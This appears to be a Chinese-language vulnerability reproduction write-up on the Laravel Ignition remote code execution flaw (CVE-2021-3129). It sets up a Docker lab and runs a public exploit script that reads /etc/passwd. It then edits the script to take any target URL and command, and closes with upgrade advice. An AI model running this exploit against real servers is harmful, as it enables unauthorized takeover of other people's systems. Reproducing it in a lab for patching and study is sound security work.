0x00 简介
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),旨在实现的Web软件的MVC架构,它可以让开发者从面条一样杂乱的代码中解脱出来,帮助构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
在Laravel中已经具有了一套高级的PHP ActiveRecord实现 — Eloquent ORM。它能方便的将“约束(constraints)”应用到关系的双方,这样开发者就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。
0x01 漏洞概述
Laravel <= 8.4.2 存在远程代码执行漏洞,当Laravel开启了Debug模式时,由于Laravel自带的2.5.2之前的Ignition功能的某些接口和函数存在过滤不严,未经过身份验证的远程攻击者可以发起恶意请求,通过构造恶意Log文件等方式触发phar反序列化,从而造成远程代码执行,控制服务器。
0x02 影响版本
Laravel<=8.4.2
Ignition<2.5.2
0x03 环境搭建
1.使用github已经搭建好的环境进行复现。
gitclone git://github.com/SNCKER/CVE-2021-3129
2.切换到刚刚下载的目录,执行以下命令即可自动完成环境搭建和启动。
docker-compose up -d
3.浏览器访问 http://192.168.141.131:8888,出现如下界面。
点击Generate app key,发送请求,在配置文件中配置了一个加密key。
再刷新一下界面,出现以下内容即搭建成功。
0x04 漏洞复现
1.github上的环境附带exp,使用vim打开查看,其默认目标为本地,执行”cat /etc/passwd”命令
2.在执行exp之前,需要下载phpggc工具,phpggc要和exploit.py在放同一文件夹内
gitclone git://github.com/ambionics/phpggc.git
3.执行如下代码,即可默认查看 /etc/passwd 文件
python3 exploit.py
4.简单修改一下 exploit.py 脚本即可执行任意命令
Vim打开脚本,首先在exploit.py开头import sys库
主函数改为如下内容(注意缩进)
args= sys.argv
url= args[1]
command= args[2]
Exp(url, command)
运行如下指令,第1个参数即为目标ip,第2个参数即为想要执行的命令
python3 exploit.py http://127.0.0.1:8888 'ifconfig'
0x05 防护建议
1.使用白名单限制相关web项目的访问来降低风险;
2.将 Laravel 框架升级至8.4.3及其以上版本,或者将facade ignition组件升级至 2.5.2 及其以上版本。
来源:freebuf.com 2021-07-13 00:44:43 by: 17608406504
请登录后发表评论
注册